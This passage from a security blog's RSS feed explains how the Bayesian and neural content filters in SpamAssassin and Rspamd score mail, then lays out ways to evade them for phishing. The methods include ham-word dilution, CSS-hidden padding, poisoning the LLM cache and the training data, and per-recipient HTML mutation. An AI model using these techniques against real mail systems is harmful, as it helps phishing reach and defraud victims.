&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-6-bec-polymorphism&quot;&gt;Part 6：BEC 3.0 与跨渠道编排&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Email Phishing Eng. · 3: Bayes &amp; NLP Adversarial</title><link>https://s4u2self.cc/blog/email-phishing-engineering-part-3-bayes-nlp-en</link><guid isPermaLink="true">https://s4u2self.cc/blog/email-phishing-engineering-part-3-bayes-nlp-en</guid><description>SEG Bayes and semantic layers: SpamAssassin boundaries and content-score bypass ideas.</description><pubDate>Sat, 11 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;~6,200 Chinese characters in the original; about 32 minutes to read&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;This is Part 3 of the &lt;em&gt;Email Phishing Engineering&lt;/em&gt; series. The first two parts covered the sending channel and anti-sandbox. Delivery alone is not enough: if the body is filtered by the gateway, everything upstream is wasted.&lt;/p&gt;
&lt;p&gt;Whether a message can enter the gateway and whether, once inside, it stays out of the junk folder are two completely different adversarial dimensions. This post dissects the core content-detection logic of Secure Email Gateways (SEGs)—Bayesian classifiers and NLP semantic engines—and the engineering approaches used to evade them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_005.BXnkw5v0_Z15ImG5.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;
Author: 可惜夜 (Kexi Ye)&lt;/p&gt;
&lt;p&gt;First published on the WeChat official account: Yofune Security Research. Follow for more.&lt;/p&gt;
&lt;h3&gt;0x01 Adversary Model: The Dual-Layer Detection Architecture of the SEG Content Plane&lt;/h3&gt;
&lt;p&gt;Differences between domestic Chinese and overseas environments directly shape content-adversarial strategy. The primary SEGs in overseas enterprise networks are Microsoft Defender for Office 365 and Proofpoint. The domestic landscape is more fragmented: large state-owned enterprises and financial institutions commonly deploy Chinese mail gateways, and security vendors’ product lines are numerous—too many to list. SMBs heavily use Tencent Exmail and Alibaba Cloud enterprise mail, whose anti-spam backends plug into cloud capabilities.&lt;/p&gt;
&lt;p&gt;Across these products, content detection is architecturally similar—two layers stacked underneath:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Bayesian probability layer&lt;/strong&gt; — bag-of-words based. SpamAssassin and Rspamd are the canonical open-source implementations; domestic vendors typically retrain on Chinese corpora on top of this foundation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deep semantic layer&lt;/strong&gt; — many domestic deployments use lightweight BERT-base–style detectors (not expanded here; search the usual keywords if interested).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The two layers are &lt;strong&gt;not serial hard blocks&lt;/strong&gt;; they are score-weighted and merged. A message can score very low on Bayes and still be blocked if the deep semantic layer catches phishing features. The objective is a final score below threshold—you have to fight both layers at once.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_001.rnfAWf_R_1q4Kxf.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h5&gt;SpamAssassin’s Bayes Plugin (&lt;code&gt;lib/Mail/SpamAssassin/Plugin/Bayes.pm&lt;/code&gt;)&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Tokenization pipeline&lt;/strong&gt; (source &lt;code&gt;tokenize&lt;/code&gt; at lines 1134–1217; &lt;code&gt;_tokenize_line&lt;/code&gt; at lines 1219–1380):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;raw text → regex extraction → min-3-char filter → SHA1 hash, take 40 bits → stop-word filter
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Token extraction regex (inside &lt;code&gt;_tokenize_line&lt;/code&gt;, lines 1235–1240):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_004.ZLK6WJ78_1gyFyS.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Extract tokens via regex: match ASCII words/English characters, plus multi-byte UTF-8
# sequences (to support Chinese and other non-ASCII text)
s{ ( [A-Za-z0-9,@*!_&apos;&quot;\$. -]+  |     # match ordinary ASCII tokens
     [\xC0-\xDF][\x80-\xBF]       |     # match UTF-8 two-byte characters
     [\xE0-\xEF][\x80-\xBF]{2}    |     # match UTF-8 three-byte characters (incl. common CJK)
     [\xF0-\xF4][\x80-\xBF]{3}    |     # match UTF-8 four-byte characters
     [\xA1-\xFF] ) | . }                # match ISO-8859-style single-byte / edge multi-byte;
                                        # replace unmatched single chars with space
 { defined $1 ? $1 : &apos; &apos; }xsge;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SHA1 hash compressed to a 40-bit key (inside &lt;code&gt;tokenize&lt;/code&gt;, line 1212):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# SHA1 the extracted token; keep the last 5 bytes (40 bits) of the digest as the unique
# key stored in the statistical database
$tokens{substr(sha1($token), -5)} = $token  if $token ne &apos;&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SpamAssassin’s implementation has three hard design boundaries that are worth exploiting.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Token count cap&lt;/strong&gt; (line 250):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_003.BMDbw8yT_1TRqis.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Max number of effective tokens that participate in the log-likelihood ranking / score
# merge: 150. Weaker tokens beyond this limit are discarded.
use constant N_SIGNIFICANT_TOKENS =&gt; 150;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When computing the Bayesian score, SpamAssassin ranks all tokenized tokens by probability deviation (how strongly a word leans spam vs. ham), descending, and takes at most the top 150 most discriminative tokens for the final calculation. Anything beyond 150 is dropped. The 150 limit is hardcoded.&lt;/p&gt;
&lt;p&gt;If the body is padded with enough (more than 150) strong &lt;strong&gt;ham&lt;/strong&gt; words—high-frequency terms from normal business mail—the truly sensitive malicious tokens can be pushed out of that 150-token scoring window so they never participate in the final score.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_002.BCM2lxbx_Z2746v3.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Robinson smoothing&lt;/strong&gt; (lines 1644–1653; constants defined in &lt;code&gt;CombineChi.pm&lt;/code&gt; lines 47–50: &lt;code&gt;FW_S_CONSTANT = 0.030&lt;/code&gt;, &lt;code&gt;FW_S_DOT_X = 0.538 * 0.030 = 0.01614&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. Compute the raw Bayesian classification probability
my $prob = ($s * $nn) / ($n * $ns + $s * $nn);

# 2. If Robinson smoothing is enabled (for low-frequency tokens)
if (USE_ROBINSON_FX_EQUATION_FOR_LOW_FREQS) {
  my $robn = $s + $n; # total document count for this token across all samples
  # Gary Robinson&apos;s f(w) formula for the smoothed probability:
  # P_smooth = (s * x + n * P_raw) / (s + n)
  $prob = ($Mail::SpamAssassin::Bayes::Combine::FW_S_DOT_X + ($robn * $prob))
          / ($Mail::SpamAssassin::Bayes::Combine::FW_S_CONSTANT + $robn);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;robn&lt;/code&gt; is the total frequency of that word in the corpus. Inject rare or obscure misspelled terms and the smoothing formula pulls their probability back toward 0.5 (no discriminative signal). Tokens at 0.5 rank at the bottom and never enter the 150-token scoring window. Therefore, when diluting the body you &lt;strong&gt;must&lt;/strong&gt; use ordinary business vocabulary the gateway has already seen many times—not invented rare words.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mathematical core of score combination&lt;/strong&gt;, in &lt;code&gt;CombineChi.pm&lt;/code&gt; (lines 60–104):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_006.vAa4M1rL_Z26hpUd.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. Accumulate Fisher log-probability under dual hypotheses
foreach my $prob (@$sortedref) {
  $S *= 1.0 - $prob; # cumulative product factor assuming the mail is Spam: (1 - P(Spam|Token))
  $H *= $prob;       # cumulative product factor assuming the mail is Ham: P(Spam|Token)
  # floating-point underflow handling omitted (frexp / scientific decomposition)
}

$S = log($S) + $Sexp * LN2; # log-likelihood under Spam hypothesis
$H = log($H) + $Hexp * LN2; # log-likelihood under Ham hypothesis

# 2. Convert via chi-square inverse CDF (chi2q) to p-value scores.
# $wc ($token_count) is the half-value parameter related to degrees of freedom;
# redundant *2/*2 is folded in.
$S = 1.0 - chi2q(-2.0 * $S, $wc);
$H = 1.0 - chi2q(-2.0 * $H, $wc);

# 3. Normalize the score to [0, 1] as the final Bayesian probability
return (($S - $H) + 1.0) / 2.0;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fisher’s algorithm mathematically assumes word independence. Real mail has strong inter-word dependence. Injecting a coherent block of business prose warps the chi-square degrees of freedom and reduces the classifier’s confidence—often enough to tip borderline decisions toward release.&lt;/p&gt;
&lt;h5&gt;Rspamd’s Bayes Classifier (&lt;code&gt;src/libstat/classifiers/bayes.c&lt;/code&gt;)&lt;/h5&gt;
&lt;p&gt;Unlike SpamAssassin, Rspamd uses the OSB (Optimal Score Based) algorithm.&lt;/p&gt;
&lt;p&gt;A core property: unigram weight is set to &lt;strong&gt;0&lt;/strong&gt; (line 215). No matter how sensitive a single word is, it does not directly affect the final score; it must combine with neighbors into bigram or trigram windows.&lt;/p&gt;
&lt;p&gt;Stacking isolated words is useless—you must inject coherent phrases or complete business expressions. In Chinese deployments, if the tokenizer over-segments, it can break the OSB window statistics.&lt;/p&gt;
&lt;p&gt;Robinson smoothing in Rspamd is implemented via the &lt;code&gt;PROB_COMBINE&lt;/code&gt; macro (line 217):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;// prob: raw probability, cnt: total token occurrences, weight: Robinson smoothing weight,
// assumed: default assumed probability (usually 0.5)
#define PROB_COMBINE(prob, cnt, weight, assumed) (((weight) * (assumed) + (cnt) * (prob)) / ((weight) + (cnt)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Called from &lt;code&gt;bayes_classify_token&lt;/code&gt; (lines 227–324):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;// compute w
w = (fw * total_count) / (1.0 + fw * total_count);
// merge with smoothed probability
bayes_spam_prob = PROB_COMBINE(spam_prob, total_count, w, 0.5);
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;Rspamd Statistical Token Flags (&lt;code&gt;src/libserver/word.h&lt;/code&gt; and &lt;code&gt;src/libstat/tokenizers/tokenizers.c&lt;/code&gt;)&lt;/h6&gt;
&lt;p&gt;During tokenization, Rspamd tags tokens with flags defined as bitmasks in &lt;code&gt;src/libserver/word.h&lt;/code&gt; (lines 34–47):&lt;/p&gt;
&lt;p&gt;| Flag name | Bit offset | Mask value | Security / adversarial meaning |
| :-- | :-- | :-- | :-- |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_TEXT&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 0&lt;/code&gt; | &lt;code&gt;0x01&lt;/code&gt; | Ordinary token extracted from plain text |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_META&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 1&lt;/code&gt; | &lt;code&gt;0x02&lt;/code&gt; | Token from metadata or directives |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_LUA_META&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 2&lt;/code&gt; | &lt;code&gt;0x04&lt;/code&gt; | Token dynamically produced by Lua rule APIs |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_EXCEPTION&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 3&lt;/code&gt; | &lt;code&gt;0x08&lt;/code&gt; | Exception token (e.g. features extracted from URLs) |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_HEADER&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 4&lt;/code&gt; | &lt;code&gt;0x10&lt;/code&gt; | Token from mail header fields |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_UNIGRAM&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 5&lt;/code&gt; | &lt;code&gt;0x20&lt;/code&gt; | Unigram (single word/character) flag |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_UTF&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 6&lt;/code&gt; | &lt;code&gt;0x40&lt;/code&gt; | UTF-8 / Unicode multi-byte text token |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_NORMALISED&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 7&lt;/code&gt; | &lt;code&gt;0x80&lt;/code&gt; | Successfully normalized via ICU |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_STEMMED&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 8&lt;/code&gt; | &lt;code&gt;0x100&lt;/code&gt; | Successfully stem-extracted |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_BROKEN_UNICODE&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 9&lt;/code&gt; | &lt;code&gt;0x200&lt;/code&gt; | Failed Unicode normalization / corrupted sequence; sets &lt;code&gt;RSPAMD_TASK_FLAG_BAD_UNICODE&lt;/code&gt;, but does &lt;strong&gt;not&lt;/strong&gt; apply a 50% Bayes weight penalty |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_STOP_WORD&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 10&lt;/code&gt; | &lt;code&gt;0x400&lt;/code&gt; | Identified high-frequency neutral stop word |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_SKIPPED&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 11&lt;/code&gt; | &lt;code&gt;0x800&lt;/code&gt; | Attenuated or skipped; does not participate in scoring |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_INVISIBLE_SPACES&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 12&lt;/code&gt; | &lt;code&gt;0x1000&lt;/code&gt; | Token containing invisible characters |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_EMOJI&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 13&lt;/code&gt; | &lt;code&gt;0x2000&lt;/code&gt; | Token containing emoji |&lt;/p&gt;
&lt;p&gt;&lt;code&gt;BROKEN_UNICODE&lt;/code&gt; and &lt;code&gt;INVISIBLE_SPACES&lt;/code&gt; are important technical signals for abnormal bypass behavior. Large amounts of non-canonical Unicode or hidden formatting easily trip the gateway’s anomaly interception logic.&lt;/p&gt;
&lt;h6&gt;Stemming and Custom Tokenization (&lt;code&gt;tokenizers.c&lt;/code&gt; ≈ lines 600–650)&lt;/h6&gt;
&lt;p&gt;Stemming collapses word forms—e.g. &lt;code&gt;&quot;approved&quot;&lt;/code&gt; and &lt;code&gt;&quot;approves&quot;&lt;/code&gt; merge to the stem &lt;code&gt;&quot;approv&quot;&lt;/code&gt;. That limits gaming counts via inflections, but it also means flooding &lt;code&gt;&quot;unanimously&quot;&lt;/code&gt; globally burns strong ham reputation onto the &lt;code&gt;&quot;unanim&quot;&lt;/code&gt; stem family. In Chinese or Japanese deployments, if the gateway introduces a custom CJK tokenizer, you need to learn its dictionary boundaries; OOV (out-of-vocabulary) fragmentation often weakens dilution effectiveness.&lt;/p&gt;
&lt;p&gt;Every token is Mum-hashed for Redis-side dedup. Even equivalent Unicode substitutions change the hash and are counted as new words.&lt;/p&gt;
&lt;h6&gt;Autolearn Decision (&lt;code&gt;lualib/lua_bayes_learn.lua&lt;/code&gt;, lines 184, 368)&lt;/h6&gt;
&lt;p&gt;In &lt;code&gt;can_learn()&lt;/code&gt;, Rspamd has adaptive overfit protection. Default confidence threshold is &lt;code&gt;min_prob = 0.95&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;-- Whether the current mail&apos;s Bayesian confidence already meets the threshold (default 0.95)
in_class = prob &gt;= (probability_opts.min_prob or probability_opts.spam_min or 0.95)

if in_class then
  -- If the system is already confident enough, refuse further training on this sample
  -- to prevent model overfitting
  return false, reason, ctx.result
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If dilution successfully parks the score below the block line &lt;strong&gt;and&lt;/strong&gt; confidence stays under 0.95, the classifier neither blocks the mail nor learns the latest feature drift—opening a stable bypass window.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_007.Dmxmonuj_Z16xSqu.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h5&gt;Rspamd’s Neural Network Plugin (&lt;code&gt;src/plugins/lua/neural.lua&lt;/code&gt;)&lt;/h5&gt;
&lt;p&gt;Besides Bayes, Rspamd enables an ANN (neural network) classification plugin by default.&lt;/p&gt;
&lt;p&gt;The post-filter callback &lt;code&gt;ann_scores_filter&lt;/code&gt; (source ≈ line 121) runs &lt;strong&gt;after&lt;/strong&gt; the Bayesian classifier. Features the network sees have already been preprocessed by the Bayes layer.&lt;/p&gt;
&lt;p&gt;Feature extraction depends on five Provider interfaces (source lines 33–37):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;-- Dynamically load these five feature-provider modules
pcall(require, &quot;plugins/neural/providers/llm&quot;)           -- external LLM embedding features
pcall(require, &quot;plugins/neural/providers/symbols&quot;)        -- rule score cache collection
pcall(require, &quot;plugins/neural/providers/text_hash&quot;)      -- local feature hashing
pcall(require, &quot;plugins/neural/providers/fasttext_embed&quot;) -- FastText word embeddings
pcall(require, &quot;plugins/neural/providers/static_embed&quot;)   -- static word embeddings
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In production, usually only &lt;code&gt;symbols&lt;/code&gt; and &lt;code&gt;text_hash&lt;/code&gt; are enabled.&lt;/p&gt;
&lt;p&gt;In hybrid feature mode, the neural net takes the Bayesian score itself as part of the feature input. Once dilution words drag the Bayes score down, that low score is fed straight into the network. The network may have learned “low Bayes score = ham,” but it cannot tell whether the mail is clean or sand-filled.&lt;/p&gt;
&lt;p&gt;That is a blind spot in the gateway’s serial audit architecture.&lt;/p&gt;
&lt;p&gt;When PCA feature reduction is enabled, similar benign text injected across many messages is retained as a principal component, while lower-dimensional malicious tokens are more easily filtered out during reduction—degrading the neural net.&lt;/p&gt;
&lt;p&gt;Weight inheritance (line 1452) looks up matching old profiles via Redis zsets on &lt;code&gt;providers_digest&lt;/code&gt; and copies weights, avoiding full retrain on config updates.&lt;/p&gt;
&lt;p&gt;Most of the five providers still depend on token-stream segmentation. Once the Bayes layer weakens token discriminability, the neural net’s input features degrade with it.&lt;/p&gt;
&lt;h5&gt;Rspamd LLM Provider Internals (&lt;code&gt;llm.lua&lt;/code&gt;)&lt;/h5&gt;
&lt;p&gt;Two mechanisms in the LLM Provider design are worth attention:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assembling input text&lt;/strong&gt;: in &lt;code&gt;collect_async&lt;/code&gt;, input is forced &lt;strong&gt;Subject-first&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&quot;Subject: &quot; + mail_subject + &quot;\n&quot; + body_content
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This keeps the high-value subject line at the front of the embedding position encoding so long-body truncation does not drop critical information.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Routing and cache&lt;/strong&gt;: the plugin can route to different third-party models by detected language and uses Redis for local cache (default TTL 24 hours).&lt;/p&gt;
&lt;p&gt;Redis cache introduces a new evasion surface. When the target gateway has this cache enabled, you can pre-send a benign message with a chosen subject phrase so the gateway caches that feature. Later messages with the same subject phrase can hit the clean cache and skip live audit.&lt;/p&gt;
&lt;h5&gt;SpamAssassin’s Standalone Neural Network Plugin (&lt;code&gt;NeuralNetwork.pm&lt;/code&gt;)&lt;/h5&gt;
&lt;p&gt;SpamAssassin’s NeuralNetwork plugin (v0.11.2) takes another path: it does not depend on the Bayes score; it maintains its own vocabulary and feature pipeline.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hidden-layer structure&lt;/strong&gt; (source lines 767–770, 1327–1330):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Hidden layer 1 node count: ≈ √input_dim × 0.25 (rounded up)
my $num_hidden1 = int(sqrt($num_input) * 0.25 + 0.5);
$num_hidden1 = 4 if $num_hidden1 &amp;#x3C; 4; # at least 4 nodes

# Hidden layer 2 node count: half of hidden layer 1
my $num_hidden2 = int($num_hidden1 / 2);
$num_hidden2 = 2 if $num_hidden2 &amp;#x3C; 2; # at least 2 nodes
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The input layer maps into this dual-hidden structure with a single output neuron.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Vocabulary pruning via chi-square&lt;/strong&gt; (&lt;code&gt;_chi2_score&lt;/code&gt;, line 1065):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Compute chi-square score for a term; used to drop globally weak features
sub _chi2_score {
  my ($spam, $ham, $total_spam, $total_ham) = @_;
  my $total = $total_spam + $total_ham;
  return 0 unless $total &gt; 0;
  my $total_spam_noterm = $total_spam - $spam; # spam docs without the term
  my $total_ham_noterm = $total_ham - $ham;   # ham docs without the term

  # denominator = product of marginal frequencies
  my $denom = ($spam+$ham) * ($total-$spam-$ham) * $total_spam * $total_ham;
  return 0 unless $denom &gt; 0;

  # chi-square contingency cross-product squared difference → discriminability score
  return ($total * ($spam*$total_ham_noterm - $ham*$total_spam_noterm)**2) / $denom;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the vocabulary hits the 10,000-term cleanup ceiling, the chi-square logic prefers to drop low-frequency but highly specific terms and keep high-frequency neutral ones. Diluting with high-reputation ordinary business vocabulary tends to survive vocabulary cleanup.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Class-weighted training&lt;/strong&gt; (lines 817–825):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Weight the minority class by the inverse of spam/ham document ratio; max weight 4.0×
if ($isspam) {
  $class_weight = ($spam_docs &gt; 0) ? $ham_docs / $spam_docs : 1.0;
} else {
  $class_weight = ($ham_docs &gt; 0) ? $spam_docs / $ham_docs : 1.0;
}
$class_weight = 1.0 if $class_weight &amp;#x3C; 1.0;
$class_weight = 4.0 if $class_weight &gt; 4.0;
my $weighted_epochs = int($train_epochs * $class_weight) || 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mass-sending dilution mail that is labeled ham dilutes the &lt;code&gt;ham_docs&lt;/code&gt; / &lt;code&gt;spam_docs&lt;/code&gt; weight ratio and biases the whole model toward ham decisions.&lt;/p&gt;
&lt;p&gt;During retrain, when class prototype vectors are recomputed, sustained dilution mail carrying benign jargon poisons those prototypes once the terms enter the vocabulary, skewing the neural judgment baseline after retrain.&lt;/p&gt;
&lt;p&gt;The SpamAssassin neural plugin has four hard gates: if message length is under 256 characters, or fewer than 10 vocabulary hits, the system skips the neural net entirely and falls back to Bayes.&lt;/p&gt;
&lt;p&gt;Keep visible body text around 200–250 characters (about 3–4 sentences) and hide the bulk dilution corpus via CSS (invisible text does not count toward body length). The neural net bails for insufficient effective length and falls back to Bayes—by which point the hidden dilution tokens have already bypassed it.&lt;/p&gt;
&lt;h5&gt;Other Approaches: SMTP Stacks Without Native ML&lt;/h5&gt;
&lt;p&gt;Haraka (Node.js) content plugins have no native ML/NLP; they only forward to external Rspamd/SpamAssassin, or use plugins like karma for hard-coded reputation/SPF score adjustments. Self-built Node.js mail gateways are fragile here—once the external detectors are bypassed, local defense is nearly empty. Academic PyTorch classifiers such as yangdongchao/mailscanner are even less relevant; they never considered engineering-grade adversarial abuse.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x02 Dimension One: HTML Polymorphic Mutation&lt;/h3&gt;
&lt;p&gt;When gateways audit HTML, they typically parse a DOM tree and compute fingerprints (e.g. fuzzy hash). Multiple messages sent in a short window with overly similar DOM features are treated as variants of a known template.&lt;/p&gt;
&lt;p&gt;Countermeasure: when generating HTML, compile a mutated variant per recipient to polymorphically scramble DOM features.&lt;/p&gt;
&lt;h4&gt;2.1 Structural Injection&lt;/h4&gt;
&lt;p&gt;The compile engine dynamically injects the following mutations into the DOM:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Random nesting&lt;/strong&gt;: under the &lt;code&gt;&amp;#x3C;body&gt;&lt;/code&gt; path, randomly introduce 1–3 layers of unstyled &lt;code&gt;&amp;#x3C;div&gt;&lt;/code&gt; / &lt;code&gt;&amp;#x3C;span&gt;&lt;/code&gt; nesting with fully dynamic random class names.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Empty node injection&lt;/strong&gt;: randomly insert multiple &lt;code&gt;display:none&lt;/code&gt; placeholders. Visually invisible, but they change DOM depth and sibling counts, altering the feature hash.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Attribute order shuffle&lt;/strong&gt;: when emitting elements, randomly reorder attribute output (e.g. reverse &lt;code&gt;href&lt;/code&gt;, &lt;code&gt;style&lt;/code&gt;, &lt;code&gt;class&lt;/code&gt;). Many DOM parsers are order-sensitive; this changes the gateway hash fingerprint.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2.2 Equivalent Tag Substitution (Tag Normalization Bypass)&lt;/h4&gt;
&lt;p&gt;The compile engine randomly swaps equivalent tags via a mapping table:&lt;/p&gt;
&lt;p&gt;| Original tag | Mutated tag | NLP parsing difference |
| :-- | :-- | :-- |
| &lt;code&gt;&amp;#x3C;b&gt;&lt;/code&gt; | &lt;code&gt;&amp;#x3C;strong&gt;&lt;/code&gt; | Semantic tag vs. style tag |
| &lt;code&gt;&amp;#x3C;i&gt;&lt;/code&gt; | &lt;code&gt;&amp;#x3C;em&gt;&lt;/code&gt; | Same as above |
| &lt;code&gt;&amp;#x3C;strike&gt;&lt;/code&gt; | &lt;code&gt;&amp;#x3C;s&gt;&lt;/code&gt; / &lt;code&gt;&amp;#x3C;del&gt;&lt;/code&gt; | Old vs. new markup mixed |
| &lt;code&gt;&amp;#x3C;center&gt;&lt;/code&gt; | &lt;code&gt;&amp;#x3C;div style=&quot;text-align:center&quot;&gt;&lt;/code&gt; | Tag vs. CSS style |
| &lt;code&gt;&amp;#x3C;font&gt;&lt;/code&gt; | &lt;code&gt;&amp;#x3C;span style=&quot;...&quot;&gt;&lt;/code&gt; | Legacy style vs. CSS |&lt;/p&gt;
&lt;p&gt;Each generation swaps with ~50% probability, breaking tag-distribution feature statistics.&lt;/p&gt;
&lt;h4&gt;2.3 Randomized CSS Formatting&lt;/h4&gt;
&lt;p&gt;Template class names are random character strings; inline CSS property formats are also chosen at random:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/* Format 1 — hex */
color: #ff0000; margin: 10px;

/* Format 2 — rgb() */
color: rgb(255, 0, 0); margin: 10px 10px 10px 10px;

/* Format 3 — hsl shorthand */
color: hsl(0, 100%, 50%); margin: 10px;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Gateway CSS extraction regex rules therefore fail to match reliably.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x03 Dimension Two: Semantic Dilution — Pulling Down the Bayesian Score&lt;/h3&gt;
&lt;p&gt;The math of semantic dilution: introduce many strong ham words into the body to pull down the joint Bayesian probability so an over-threshold score falls under the gateway block line. Engineering practice also has to choose injection methods that survive visibility checks.&lt;/p&gt;
&lt;h4&gt;3.1 Mathematical Principle&lt;/h4&gt;
&lt;p&gt;The Bayesian algebraic sum works roughly as follows:&lt;/p&gt;
&lt;p&gt;A phishing message containing 10–15 strong sensitive phrases such as “log in immediately” or “verify your account” easily breaks past +60 (gateway block lines are often around +40).&lt;/p&gt;
&lt;p&gt;Without changing the core copy, inject large numbers of strong ham tokens (each contributing roughly −2 to −5) to drag the joint score down:&lt;/p&gt;
